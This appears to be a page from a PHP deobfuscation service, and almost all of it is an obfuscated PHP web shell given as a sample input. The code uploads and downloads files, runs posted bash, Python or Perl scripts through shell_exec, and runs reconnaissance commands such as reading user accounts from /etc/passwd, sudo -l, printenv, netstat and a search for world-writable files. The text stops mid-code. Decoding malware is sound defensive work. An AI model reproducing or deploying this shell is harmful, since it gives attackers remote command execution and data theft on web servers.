Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php /* _________________________________________________________________________________ | Project: R00t-Shell.com - Php Obfuscator 2.0.15 | | Author: R00t Shell | | Date: 2025-02-18 06:45:35 | | Website: https://r00t-shell.com | | Virus Total: dcb11dea198cd11d5535aa58a599818a7947fec683754d6075...



Obfuscated php code

<?php
/*   _________________________________________________________________________________
    |  Project: R00t-Shell.com - Php Obfuscator  2.0.15                               |
    |  Author: R00t Shell                                                             |
    |  Date: 2025-02-18 06:45:35                                                      |
    |  Website: https://r00t-shell.com                                                |
    |  Virus Total: dcb11dea198cd11d5535aa58a599818a7947fec683754d6075dab69f9534209d  |
    |  Description: Obfuscates PHP code to increase security and protect source code. |
    |_________________________________________________________________________________|
*/
${"\x47LO\x42\x41\x4c\x53"}["\x72\x74\x6a\x6e\x61j\x74\x71\x63r\x65\x67"]="c\x68";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x78\x63\x79\x6c\x77\x78"]="\x70\x72oto\x63\x6f\x6c";${"G\x4c\x4f\x42A\x4cS"}["\x71\x6b\x6f\x6cv\x77\x79\x6f"]="\x63u\x73\x74\x6f\x6d\x43o\x6d\x6da\x6e\x64";${"\x47\x4cO\x42A\x4cS"}["\x76\x78\x65s\x6c\x79wgu\x6a"]="\x72e\x73\x70o\x6es\x65";${"G\x4cO\x42\x41\x4c\x53"}["\x66unbh\x6e\x70\x77z\x63\x65"]="\x6f\x75\x74pu\x74";${"\x47L\x4fB\x41LS"}["\x79\x62r\x6f\x6b\x70w\x79\x66"]="d\x69\x72";${"GLOB\x41LS"}["w\x6f\x66\x69ncfu\x78t"]="\x6cast\x4co\x67\x67\x65\x64Us\x65\x72\x73";${"\x47L\x4f\x42\x41\x4c\x53"}["dk\x62\x6efd\x6a\x64\x73l\x73"]="\x72\x65\x63ur\x73\x69\x76eLs";${"G\x4cO\x42A\x4c\x53"}["ic\x6c\x73\x79we\x6fq\x76\x65"]="s\x63h\x65\x64\x75\x6ce\x64C\x72\x6fnJ\x6fb\x73";${"G\x4cOB\x41LS"}["g\x6ahef\x76\x68\x77\x74\x65y"]="\x64\x69sk\x55\x73\x61\x67\x65";${"\x47\x4cO\x42\x41\x4c\x53"}["i\x6bgo\x6fvy\x66\x61\x6f"]="\x6de\x6do\x72\x79\x55\x73a\x67\x65";${"G\x4c\x4fBAL\x53"}["\x66\x70\x62t\x79v\x71"]="do\x63\x6b\x65\x72Co\x6e\x74ai\x6e\x65rs";${"\x47\x4c\x4f\x42A\x4cS"}["\x62\x6e\x69m\x7a\x70\x66\x70\x6f"]="pro\x74o\x63\x6fl";${"\x47LO\x42\x41\x4c\x53"}["\x6f\x75\x6f\x6a\x64c"]="\x6f\x70\x65n\x50\x6f\x72\x74\x73";${"G\x4c\x4fB\x41LS"}["v\x79gw\x65c\x68"]="\x65\x6e\x76i\x72\x6f\x6e\x6d\x65ntV\x61\x72\x69\x61\x62\x6c\x65\x73";${"\x47\x4c\x4f\x42A\x4c\x53"}["i\x6d\x61\x64\x73\x62v\x70\x72\x6d"]="ke\x72\x6e\x65\x6c\x56er\x73\x69o\x6e";${"\x47L\x4f\x42A\x4c\x53"}["h\x72\x69b\x67y\x69"]="\x6f\x73\x49nf\x6f";$hmudkseewlya="\x63\x68";${"\x47\x4cO\x42A\x4cS"}["\x62l\x69\x75\x79\x73\x63"]="\x64i\x73c\x6fv\x65r\x79\x44\x61\x74\x61";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x63lxy\x78\x79\x72u\x74\x71\x62"]="\x6f\x70\x65\x6e\x46il\x65s";${"\x47L\x4f\x42\x41\x4cS"}["\x74\x68\x6dkzu\x64"]="\x63\x6f\x72e\x44\x75m\x70\x73";${"\x47\x4cOB\x41\x4c\x53"}["\x77\x67u\x75n\x68b"]="upt\x69\x6d\x65";${"\x47L\x4f\x42\x41\x4cS"}["\x6a\x6a\x79dc\x63op\x68\x77\x6d"]="c\x70\x75\x49n\x66o";${"\x47\x4c\x4fBA\x4cS"}["\x64\x72\x6e\x72f\x6e\x77\x70uw\x72p"]="\x69nst\x61l\x6c\x65\x64S\x65\x72v\x69\x63\x65\x73";$fhgxpphln="\x63h";${"G\x4c\x4fB\x41L\x53"}["\x79ouo\x62k\x6a\x64"]="\x69\x6es\x74\x61\x6c\x6c\x65\x64\x50\x61\x63\x6b\x61\x67\x65\x73";${"\x47L\x4f\x42\x41\x4cS"}["\x71\x76\x74\x61\x6b\x6d\x6fsu\x6e"]="\x72unni\x6e\x67\x50\x72\x6f\x63es\x73\x65\x73";${"\x47LOB\x41\x4c\x53"}["\x74fx\x63\x63\x69l\x78"]="\x73\x65l\x69\x6eu\x78St\x61t\x75\x73";${"\x47L\x4f\x42\x41\x4c\x53"}["\x67i\x76\x64\x6cxi"]="\x66\x69r\x65\x77al\x6cS\x74a\x74\x75s";${"G\x4c\x4f\x42\x41L\x53"}["\x68\x69d\x71ky\x69"]="\x73\x73h\x43on\x6e\x65ct\x69\x6f\x6e\x73";${"\x47\x4c\x4fBA\x4cS"}["fk\x64i\x67\x69\x66k\x6e\x6e\x71"]="\x75\x73\x65r\x41c\x63o\x75\x6e\x74\x73";${"GLO\x42A\x4cS"}["\x74z\x6bvz\x67\x76\x71\x6eo\x79"]="\x64e\x74a\x69\x6c\x65\x64\x55\x73e\x72\x49\x6e\x66o";${"\x47\x4cO\x42ALS"}["\x69rbd\x64v\x62\x63\x72"]="\x63ur\x72en\x74\x55\x73\x65\x72";${"G\x4c\x4f\x42A\x4cS"}["r\x77\x76\x64fh\x65"]="php\x56er\x73io\x6e";${"\x47\x4cO\x42\x41\x4c\x53"}["\x71\x6f\x79\x67g\x67\x61\x62h\x6b"]="\x65n\x67\x69\x6e\x65";${"\x47\x4c\x4fB\x41L\x53"}["\x6f\x74\x65vl\x76\x77\x79"]="c\x6f\x6dm\x61\x6e\x64";${"\x47LO\x42\x41\x4c\x53"}["nu\x68c\x66\x6egsl"]="\x74\x65\x6dp\x5f\x66\x69\x6ce";${"\x47\x4c\x4f\x42\x41L\x53"}["by\x6cx\x71\x62\x76"]="scr\x69\x70\x74_\x63\x6f\x6et\x65\x6e\x74";${"G\x4c\x4fB\x41\x4c\x53"}["\x6e\x7a\x70\x72\x64\x71wm"]="f\x69\x6ce\x5fc\x6f\x6e\x74\x65\x6e\x74";${"\x47\x4cOB\x41LS"}["\x71z\x71\x64\x68\x76y\x70\x72\x6b"]="fi\x6c\x65_p\x61\x74\x68";${"\x47\x4c\x4f\x42\x41L\x53"}["\x71\x77j\x68\x6b\x62\x75l\x73\x68"]="\x66\x69\x6ce\x5f\x6e\x61\x6d\x65";${"\x47\x4cO\x42\x41\x4c\x53"}["\x75\x6e\x78r\x70\x63\x70\x78oe"]="\x74\x61rg\x65\x74\x5f\x66i\x6c\x65";${"\x47\x4c\x4fB\x41L\x53"}["\x77\x70y\x79\x6b\x6cc\x68\x68\x65"]="\x63\x75\x72\x72en\x74\x5f\x64\x69\x72ect\x6f\x72y";session_start();if(isset($_FILES["fil\x65U\x70lo\x61d"])){${${"GLO\x42AL\x53"}["\x77p\x79\x79k\x6cc\x68h\x65"]}=$_SESSION["\x63u\x72ren\x74\x5f\x64i\x72\x65\x63tory"];${"\x47L\x4f\x42A\x4c\x53"}["\x63\x61\x6a\x61\x74\x62i\x78w\x78\x79\x64"]="\x63\x75r\x72\x65nt\x5f\x64\x69\x72e\x63tory";${${"GLO\x42\x41\x4c\x53"}["un\x78\x72p\x63px\x6f\x65"]}=${${"\x47L\x4f\x42A\x4c\x53"}["\x63a\x6aa\x74\x62i\x78\x77\x78\x79\x64"]}."/".basename($_FILES["\x66\x69\x6c\x65Up\x6c\x6fa\x64"]["n\x61m\x65"]);if(move_uploaded_file($_FILES["\x66\x69l\x65Upl\x6fad"]["\x74m\x70_name"],${${"G\x4c\x4fBA\x4c\x53"}["\x75\x6e\x78\x72\x70\x63p\x78o\x65"]})){echo json_encode(["s\x74\x61tu\x73"=>"\x73u\x63c\x65ss","mes\x73age"=>basename($_FILES["f\x69l\x65\x55\x70\x6c\x6f\x61\x64"]["na\x6d\x65"])." upl\x6f\x61de\x64\x20\x73u\x63\x63e\x73sfu\x6c\x6cy","\x64ire\x63to\x72y"=>${${"\x47\x4cOBA\x4cS"}["\x77\x70y\x79\x6bl\x63\x68\x68\x65"]}]);}else{echo json_encode(["\x73t\x61\x74us"=>"\x65r\x72o\x72","\x6de\x73s\x61\x67e"=>basename($_FILES["\x66il\x65U\x70\x6co\x61d"]["\x6ea\x6de"])."\x20\x75\x70\x6coa\x64\x20\x66\x61\x69\x6ced","d\x69\x72\x65\x63\x74\x6f\x72\x79"=>${${"\x47L\x4f\x42\x41\x4c\x53"}["w\x70y\x79\x6b\x6cc\x68\x68e"]}]);}exit;}if(isset($_POST["\x64\x6fwnl\x6f\x61d\x46i\x6ce"])){$cnsbybrpcm="\x66\x69l\x65\x5f\x6e\x61\x6d\x65";$lveksklyomrd="c\x75\x72\x72ent\x5fd\x69r\x65\x63\x74\x6f\x72y";${$lveksklyomrd}=$_SESSION["cur\x72e\x6et_\x64\x69re\x63to\x72y"];${${"\x47\x4cO\x42\x41LS"}["\x71\x77j\x68\x6bb\x75l\x73\x68"]}=basename($_POST["\x64ow\x6el\x6f\x61dFi\x6c\x65"]);${${"GLO\x42\x41\x4c\x53"}["q\x7aq\x64\x68v\x79\x70\x72\x6b"]}=${${"\x47\x4cO\x42\x41L\x53"}["\x77\x70\x79\x79klchh\x65"]}."/".${$cnsbybrpcm};${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72y\x78rw\x62\x68qbj\x62"]="\x66i\x6c\x65\x5f\x70a\x74h";if(file_exists(${${"G\x4cO\x42\x41\x4c\x53"}["r\x79xr\x77bh\x71b\x6a\x62"]})){$xorfvrspwr="\x66i\x6c\x65_c\x6fn\x74e\x6e\x74";${$xorfvrspwr}=base64_encode(file_get_contents(${${"G\x4cO\x42\x41\x4c\x53"}["q\x7a\x71dhv\x79p\x72\x6b"]}));echo json_encode(["s\x74\x61\x74us"=>"\x73uc\x63\x65\x73s","\x6d\x65ssa\x67e"=>${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x71\x77\x6ah\x6bbu\x6c\x73h"]}."\x20\x72\x65a\x64\x79 \x66or \x64o\x77\x6el\x6fad","\x66i\x6c\x65C\x6fnte\x6et"=>${${"\x47\x4cOB\x41\x4c\x53"}["\x6ezp\x72\x64\x71w\x6d"]},"d\x69\x72\x65\x63\x74or\x79"=>${${"G\x4cO\x42AL\x53"}["\x77\x70\x79\x79\x6b\x6c\x63h\x68e"]}]);}else{echo json_encode(["sta\x74us"=>"e\x72\x72o\x72","m\x65s\x73age"=>${${"\x47\x4c\x4f\x42A\x4cS"}["\x71\x77\x6ahkb\x75\x6c\x73\x68"]}."\x20doe\x73\x20\x6e\x6ft\x20\x65xis\x74","d\x69\x72ec\x74ory"=>${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x70\x79\x79\x6blc\x68\x68\x65"]}]);}exit;}if(isset($_POST["\x72u\x6e\x53\x63r\x69pt"])&&isset($_POST["en\x67in\x65"])&&isset($_POST["sc\x72i\x70t\x43\x6fnt\x65n\x74"])){${"\x47\x4c\x4f\x42AL\x53"}["\x70\x75z\x62f\x64\x6c\x74\x78"]="e\x6eg\x69\x6e\x65";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x73\x6bfx\x6cw\x70"]="t\x65\x6d\x70\x5ff\x69\x6ce";${"G\x4c\x4f\x42\x41\x4cS"}["\x6e\x61\x63e\x71\x6b"]="\x63o\x6dm\x61\x6ed";${${"\x47L\x4f\x42\x41\x4c\x53"}["puz\x62\x66d\x6c\x74x"]}=$_POST["\x65ng\x69\x6e\x65"];${${"\x47\x4cOBA\x4c\x53"}["\x62y\x6c\x78\x71\x62\x76"]}=$_POST["s\x63rip\x74Cont\x65nt"];${${"GLO\x42\x41\x4cS"}["\x6eu\x68\x63\x66\x6e\x67\x73\x6c"]}=tempnam(sys_get_temp_dir(),"sc\x72\x69pt");${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x77\x6efs\x68"]="\x73\x63r\x69\x70\x74\x5fcont\x65nt";file_put_contents(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x75\x73k\x66\x78\x6c\x77p"]},${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x77\x6e\x66\x73h"]});${"\x47\x4cOB\x41LS"}["f\x69\x6b\x76ow\x73u\x6b\x76"]="\x6fut\x70u\x74";$tulgfxucxxe="\x6f\x75t\x70\x75\x74";$memkjwxwjf="\x63\x6fmma\x6e\x64";${"G\x4cOBA\x4c\x53"}["\x72gl\x63jtvqdo\x73x"]="\x63o\x6d\x6da\x6e\x64";${"G\x4c\x4f\x42\x41\x4c\x53"}["wgg\x69\x69\x6e\x78\x63k\x62\x62"]="\x74e\x6dp_\x66\x69\x6ce";$hgtyenrcns="\x6f\x75\x74p\x75\x74";${${"\x47L\x4f\x42\x41LS"}["\x6f\x74e\x76\x6c\x76\x77y"]}="";switch(${${"\x47\x4cO\x42\x41\x4c\x53"}["q\x6f\x79\x67\x67\x67abh\x6b"]}){case"\x62\x61\x73\x68":${${"GLO\x42\x41\x4c\x53"}["\x6e\x61\x63e\x71k"]}="\x62\x61\x73\x68 $temp_file";break;case"\x70yt\x68\x6fn":${${"\x47LO\x42\x41LS"}["\x6f\x74ev\x6cv\x77y"]}="p\x79\x74ho\x6e $temp_file";break;case"pyth\x6f\x6e2":${$memkjwxwjf}="pyth\x6f\x6e\x32 $temp_file";break;case"pyt\x68\x6f\x6e\x33":${${"\x47L\x4f\x42\x41\x4cS"}["o\x74\x65\x76lvwy"]}="\x70\x79t\x68o\x6e\x33\x20$temp_file";break;case"p\x65\x72l":${${"G\x4cOB\x41\x4c\x53"}["o\x74\x65\x76l\x76\x77\x79"]}="\x70\x65\x72\x6c $temp_file";break;default:echo json_encode(["\x73tatu\x73"=>"\x65\x72r\x6fr","\x6dessage"=>"Inv\x61\x6cid \x73\x63\x72\x69\x70t\x20\x65n\x67ine","\x6f\x75t\x70u\x74"=>""]);unlink(${${"GL\x4f\x42A\x4c\x53"}["n\x75\x68\x63f\x6eg\x73\x6c"]});exit;}${$hgtyenrcns}=shell_exec(${${"G\x4cO\x42ALS"}["rg\x6c\x63\x6atv\x71d\x6fs\x78"]}." 2>\x26\x31");unlink(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x67\x67i\x69\x6e\x78c\x6b\x62\x62"]});echo json_encode(["s\x74\x61\x74u\x73"=>"s\x75\x63c\x65ss","outp\x75\x74"=>${$tulgfxucxxe}?${${"\x47L\x4f\x42AL\x53"}["\x66ik\x76\x6f\x77\x73\x75kv"]}:"\x4eo\x20out\x70\x75t"]);exit;}if(isset($_POST["\x72un\x44i\x73cov\x65\x72\x79"])){${"G\x4cO\x42\x41L\x53"}["\x6b\x69\x71\x6f\x69\x6c\x69k"]="\x68o\x73t\x6eame";$gnqfkcc="openF\x69l\x65\x73";${"\x47\x4c\x4f\x42\x41LS"}["\x73\x62\x68et\x6eq\x73\x74"]="s\x75d\x6f\x50r\x69v\x69\x6c\x65\x67\x65\x73";${"G\x4c\x4fB\x41\x4c\x53"}["di\x74n\x6cx\x69\x71\x65q"]="\x72\x65cu\x72s\x69\x76eL\x73";${"GLO\x42\x41\x4cS"}["bx\x78\x78\x75ix"]="\x6fs\x49\x6e\x66\x6f";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x70\x71\x69\x62\x64\x6d\x75y\x68"]="\x6c\x69\x73\x74e\x6ei\x6e\x67S\x65r\x76\x69ces";${"G\x4c\x4f\x42\x41\x4c\x53"}["o\x79\x69v\x79\x6a\x64\x75"]="s\x65r\x76e\x72\x53\x6f\x66\x74\x77\x61\x72\x65";${"\x47L\x4f\x42\x41\x4c\x53"}["z\x72t\x6a\x65\x61\x78\x6d"]="\x63\x70\x75\x49n\x66\x6f";$fftteqgwy="doc\x6b\x65\x72\x43\x6fn\x74\x61iner\x73";${"\x47L\x4f\x42\x41\x4c\x53"}["imc\x75\x78sx\x75\x66p\x79\x66"]="\x6d\x69sc\x6f\x6efi\x67\x75\x72at\x69\x6f\x6es";$rhuuhzq="\x73c\x68e\x64\x75\x6c\x65\x64\x43ro\x6eJ\x6f\x62s";${${"\x47\x4c\x4f\x42\x41\x4cS"}["k\x69q\x6f\x69\x6ci\x6b"]}=executeCommand("\x68\x6f\x73t\x6e\x61m\x65");${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72\x73\x75\x6c\x71\x75\x76\x66\x66"]="\x6ber\x6e\x65l\x56\x65r\x73\x69\x6fn";$zbktwroac="\x65\x6e\x76\x69\x72\x6f\x6e\x6d\x65\x6e\x74\x56\x61ri\x61\x62\x6c\x65\x73";${${"\x47LOB\x41\x4cS"}["\x62x\x78\x78\x75\x69x"]}=executeCommand("unam\x65\x20-a");$gcfewzjo="\x61\x63\x74i\x76e\x43\x6f\x6e\x6eec\x74\x69\x6f\x6e\x73";$bzdunnlworhk="\x64i\x73\x6b\x55\x73\x61g\x65";${${"\x47LO\x42A\x4cS"}["r\x73\x75\x6cq\x75\x76f\x66"]}=executeCommand("u\x6eam\x65\x20-r");$jalcoyxplhq="\x73\x65\x72\x76e\x72\x53o\x66\x74wa\x72\x65";${${"\x47L\x4fB\x41\x4c\x53"}["\x72w\x76\x64\x66\x68e"]}=phpversion();${"G\x4c\x4f\x42A\x4c\x53"}["\x65\x74\x64s\x63\x6ey\x68\x79w"]="\x6d\x65\x6d\x6f\x72\x79\x55sag\x65";${${"\x47LO\x42AL\x53"}["o\x79\x69v\x79j\x64\x75"]}=$_SERVER["\x53E\x52\x56ER_\x53O\x46TW\x41\x52\x45"];${${"\x47\x4cO\x42A\x4c\x53"}["\x69\x72\x62\x64d\x76bc\x72"]}=executeCommand("\x77h\x6f\x61\x6di");${${"G\x4cO\x42\x41\x4c\x53"}["\x74\x7a\x6bv\x7ag\x76\x71\x6eoy"]}=executeCommand("id");${"\x47\x4c\x4f\x42\x41LS"}["\x73pz\x65\x71j\x6bp\x6f"]="\x6ee\x74\x77\x6f\x72k\x43\x6f\x6efig";${${"GLOB\x41\x4c\x53"}["f\x6b\x64\x69\x67\x69\x66\x6b\x6e\x6e\x71"]}=executeCommand("\x63u\x74\x20-d: -f\x31\x20/et\x63/\x70\x61\x73\x73w\x64");${${"\x47L\x4f\x42\x41\x4cS"}["s\x62\x68\x65\x74n\x71s\x74"]}=executeCommand("su\x64o -\x6c");${$zbktwroac}=executeCommand("\x70\x72\x69\x6et\x65nv");${"\x47\x4c\x4fB\x41\x4c\x53"}["\x66s\x72kw\x6e"]="l\x69\x73t\x65nin\x67Ser\x76\x69\x63\x65\x73";$yapfwksugu="\x73u\x64oP\x72\x69\x76i\x6c\x65\x67es";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6c\x6e\x69ba\x68"]="o\x70e\x6eP\x6fr\x74\x73";${"\x47\x4c\x4f\x42AL\x53"}["\x6b\x69\x75\x61\x70\x78\x79y\x6b\x79\x68r"]="\x72\x6f\x6f\x74\x64\x69\x72";${${"\x47\x4c\x4fB\x41L\x53"}["\x73\x70z\x65\x71\x6ak\x70o"]}=executeCommand("i\x66\x63o\x6e\x66\x69\x67");$yvrarnhyc="\x55s\x65r\x73H\x6fm\x65";${"G\x4c\x4fB\x41\x4cS"}["k\x63n\x64\x70\x6cb"]="\x6di\x73\x63\x6f\x6e\x66\x69gu\x72\x61\x74io\x6es";${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6c\x6e\x69\x62\x61h"]}=executeCommand("\x6e\x65\x74st\x61\x74 -\x74uln");$insrag="\x69\x6e\x73\x74alle\x64\x50\x61\x63\x6b\x61g\x65\x73";$ojcptuunrkox="a\x63t\x69\x76\x65\x43onnec\x74\x69\x6f\x6e\x73";${$gcfewzjo}=executeCommand("\x6ee\x74s\x74\x61t\x20-\x61nt\x70");${${"G\x4c\x4f\x42A\x4cS"}["\x70\x71ib\x64m\x75\x79h"]}=executeCommand("\x73s\x20-tulwn");${${"\x47LO\x42A\x4c\x53"}["\x68\x69\x64\x71k\x79\x69"]}=executeCommand("\x73\x73\x20-\x74n\x20sr\x63 :\x32\x32");${${"\x47\x4cO\x42A\x4c\x53"}["gi\x76\x64\x6cx\x69"]}=executeCommand("\x75\x66\x77 \x73\x74a\x74\x75s");${"G\x4c\x4f\x42ALS"}["\x75\x71\x76\x6e\x6a\x70\x73\x62\x77m"]="i\x6e\x73t\x61\x6c\x6c\x65d\x53e\x72\x76\x69c\x65\x73";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x74fx\x63\x63\x69l\x78"]}=executeCommand("s\x65\x73t\x61\x74u\x73");${${"\x47\x4c\x4f\x42A\x4cS"}["\x71vt\x61km\x6f\x73\x75\x6e"]}=executeCommand("ps\x20\x61u\x78");${"\x47\x4c\x4f\x42\x41LS"}["in\x6a\x61\x76\x76\x65\x69\x76\x68u"]="\x72\x6fo\x74\x64\x69\x72";${${"\x47LO\x42\x41L\x53"}["\x79\x6f\x75\x6f\x62kjd"]}=executeCommand("d\x70k\x67\x20-l");${${"\x47L\x4fB\x41L\x53"}["\x64rn\x72fn\x77puw\x72p"]}=executeCommand("sy\x73\x74\x65\x6d\x63\x74\x6c\x20\x6ci\x73\x74-u\x6e\x69\x74-\x66\x69le\x73 --\x74yp\x65\x3ds\x65r\x76\x69\x63\x65");${$fftteqgwy}=executeCommand("\x64\x6f\x63k\x65\x72\x20ps");${${"\x47L\x4f\x42A\x4c\x53"}["\x6a\x6a\x79dc\x63\x6f\x70\x68\x77m"]}=executeCommand("l\x73\x63pu");${"G\x4cO\x42A\x4cS"}["\x65\x6c\x6d\x63m\x72\x65\x70\x65d"]="\x72\x75\x6e\x6e\x69ng\x50\x72\x6f\x63e\x73\x73es";${${"\x47\x4cO\x42\x41L\x53"}["\x65\x74\x64\x73c\x6e\x79hyw"]}=executeCommand("fre\x65\x20-\x68");${$bzdunnlworhk}=executeCommand("\x64f -h");${${"GLOBA\x4c\x53"}["w\x67\x75\x75n\x68\x62"]}=executeCommand("up\x74\x69\x6d\x65");${$rhuuhzq}=executeCommand("cr\x6f\x6et\x61b\x20-\x6c");${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6dus\x73\x72\x72\x66\x63\x68"]="n\x65t\x77o\x72k\x43onf\x69\x67";${"\x47L\x4f\x42\x41L\x53"}["\x6f\x63o\x70n\x73\x65\x7ax\x73"]="\x64\x65t\x61\x69\x6ced\x55s\x65r\x49n\x66\x6f";${${"G\x4cO\x42\x41\x4cS"}["\x6b\x69u\x61p\x78y\x79\x6b\x79\x68r"]}=executeCommand("ls /");${"\x47\x4c\x4f\x42AL\x53"}["\x78\x68\x67\x64\x62\x62s\x72"]="Use\x72s\x48\x6f\x6d\x65";${"\x47L\x4fBA\x4c\x53"}["\x7a\x74e\x66i\x76k\x61"]="\x68\x6f\x73t\x6ea\x6d\x65";${${"\x47LO\x42\x41L\x53"}["d\x69t\x6el\x78\x69\x71\x65\x71"]}=executeCommand("\x6c\x73\x20-R\x20/\x76\x61\x72/w\x77\x77");${$yvrarnhyc}=executeCommand("ls\x20-R\x20/hom\x65");${${"\x47L\x4f\x42\x41\x4cS"}["\x69\x6d\x63\x75xsxufp\x79f"]}=executeCommand("f\x69nd / -\x74\x79\x70e \x66 -p\x65\x72m \x30\x3777 2>/dev/\x6e\x75\x6cl");${"\x47\x4c\x4f\x42\x41\x4cS"}["\x79\x78\x78\x62f\x78\x6d\x74"]="\x66i\x72\x65wal\x6c\x53\x74\x61\x74u\x73";${${"G\x4c\x4fB\x41L\x53"}["t\x68\x6d\x6bz\x75\x64"]}=executeCommand("find\x20/\x20-\x6eame \x63o\x72\x65\x20-\x74\x79\x70e f \x32\x3e/de\x76/\x6e\x75l\x6c");$ulafkuj="\x75\x73\x65\x72\x41\x63\x63\x6f\x75\x6e\x74\x73";${${"\x47\x4c\x4fB\x41\x4c\x53"}["c\x6cxy\x78\x79rut\x71b"]}=executeCommand("ls\x6ff");${"G\x4c\x4f\x42A\x4c\x53"}["\x74\x62jip\x6a\x6b\x66d\x70"]="\x6ca\x73\x74\x4co\x67\x67\x65\x64\x55s\x65rs";${${"\x47L\x4fB\x41\x4cS"}["\x74\x62\x6a\x69\x70\x6a\x6b\x66d\x70"]}=executeCommand("\x6cas\x74");${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x62\x6ciuysc"]}=["\x48\x6f\x73\x74\x6ea\x6de"=>${${"\x47\x4cOBA\x4c\x53"}["z\x74\x65\x66i\x76\x6b\x61"]}["\x6f\x75t\x70u\x74"],"\x4fp\x65ra\x74in\x67\x20Sy\x73\x74em\x20\x49\x6e\x66\x6f"=>${${"\x47LOB\x41\x4c\x53"}["\x68\x72\x69\x62g\x79i"]}["\x6fu\x74\x70ut"],"Kern\x65\x6c V\x65r\x73i\x6fn"=>${${"G\x4c\x4f\x42\x41\x4c\x53"}["ima\x64\x73\x62v\x70r\x6d"]}["\x6fut\x70\x75\x74"],"P\x48\x50\x20Ver\x73\x69\x6f\x6e"=>${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72w\x76\x64f\x68\x65"]},"\x53\x65\x72ver Softwa\x72e"=>${$jalcoyxplhq},"C\x75\x72\x72\x65\x6e\x74\x20\x55s\x65\x72"=>${${"\x47\x4cOBALS"}["\x69rb\x64\x64\x76bcr"]}["ou\x74\x70\x75\x74"],"\x44et\x61\x69l\x65\x64 \x55ser \x49\x6efo"=>${${"G\x4c\x4fBAL\x53"}["\x6f\x63\x6fp\x6e\x73\x65\x7a\x78\x73"]}["\x6futp\x75t"],"Use\x72\x20A\x63\x63\x6f\x75\x6e\x74s"=>${$ulafkuj}["o\x75\x74put"],"\x53\x75\x64o\x20\x50\x72i\x76il\x65\x67e\x73"=>${$yapfwksugu}["\x6fut\x70\x75t"],"Env\x69r\x6f\x6e\x6de\x6e\x74\x20\x56aria\x62\x6ces"=>${${"\x47L\x4f\x42\x41\x4c\x53"}["\x76\x79\x67w\x65\x63h"]}["\x6fut\x70u\x74"],"Ne\x74w\x6fr\x6b Confi\x67\x75rat\x69o\x6e"=>${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6d\x75ss\x72\x72fch"]}["\x6futpu\x74"],"O\x70\x65n\x20\x50\x6fr\x74\x73"=>${${"\x47LO\x42\x41\x4c\x53"}["ou\x6fj\x64\x63"]}["out\x70ut"],"A\x63\x74ive C\x6fnn\x65\x63\x74\x69on\x73"=>${$ojcptuunrkox}["\x6f\x75\x74put"],"\x4cis\x74e\x6ei\x6eg\x20\x53\x65\x72\x76\x69c\x65\x73"=>${${"\x47\x4cOB\x41\x4c\x53"}["\x66\x73\x72\x6b\x77\x6e"]}["o\x75\x74\x70ut"],"S\x53H Co\x6en\x65cti\x6fn\x73"=>${${"\x47L\x4f\x42AL\x53"}["\x68\x69\x64qk\x79\x69"]}["ou\x74\x70\x75t"],"\x46ire\x77a\x6c\x6c \x53\x74a\x74us"=>${${"\x47\x4cOBA\x4c\x53"}["y\x78\x78\x62\x66\x78\x6d\x74"]}["output"],"\x53EL\x69\x6e\x75x\x20S\x74atu\x73"=>${${"\x47\x4cOBA\x4c\x53"}["\x74f\x78c\x63\x69lx"]}["\x6fu\x74p\x75t"],"\x52un\x6ei\x6e\x67\x20Pr\x6f\x63ess\x65s"=>${${"GL\x4fB\x41\x4c\x53"}["e\x6c\x6dc\x6d\x72\x65\x70\x65d"]}["out\x70\x75\x74"],"\x49nst\x61l\x6c\x65\x64\x20\x50\x61c\x6ba\x67es"=>${$insrag}["o\x75\x74p\x75t"],"\x49nst\x61\x6c\x6c\x65d\x20\x53\x65\x72\x76\x69ces"=>${${"\x47\x4c\x4f\x42ALS"}["\x75qvnj\x70s\x62\x77m"]}["o\x75tput"],"D\x6fcker Conta\x69\x6ee\x72s"=>${${"\x47\x4c\x4f\x42AL\x53"}["\x66p\x62\x74\x79\x76q"]}["o\x75\x74\x70\x75\x74"],"\x43P\x55\x20\x49nfo"=>${${"\x47\x4c\x4f\x42\x41\x4cS"}["z\x72\x74\x6a\x65\x61x\x6d"]}["out\x70u\x74"],"\x4d\x65mo\x72y\x20Usag\x65"=>${${"\x47\x4cO\x42A\x4c\x53"}["\x69\x6b\x67o\x6fv\x79f\x61o"]}["ou\x74pu\x74"],"D\x69sk \x55s\x61\x67\x65"=>${${"\x47\x4c\x4fB\x41L\x53"}["\x67j\x68\x65f\x76\x68\x77\x74\x65y"]}["outp\x75\x74"],"\x53y\x73\x74e\x6d \x55\x70\x74\x69m\x65"=>${${"\x47\x4c\x4f\x42AL\x53"}["wg\x75unhb"]}["out\x70ut"],"S\x63he\x64\x75\x6c\x65\x64\x20C\x72on \x4a\x6f\x62\x73"=>${${"GLO\x42A\x4c\x53"}["\x69\x63ls\x79\x77\x65\x6fqve"]}["\x6f\x75tp\x75\x74"],"R\x6f\x6f\x74\x20D\x69\x72e\x63\x74or\x79\x20\x4c\x69\x73t\x69n\x67"=>${${"\x47\x4cO\x42\x41LS"}["inj\x61\x76\x76e\x69v\x68\x75"]}["\x6f\x75\x74put"],"\x52\x65c\x75rs\x69\x76e\x20D\x69re\x63\x74o\x72\x79\x20L\x69\x73t\x69\x6eg\x20of 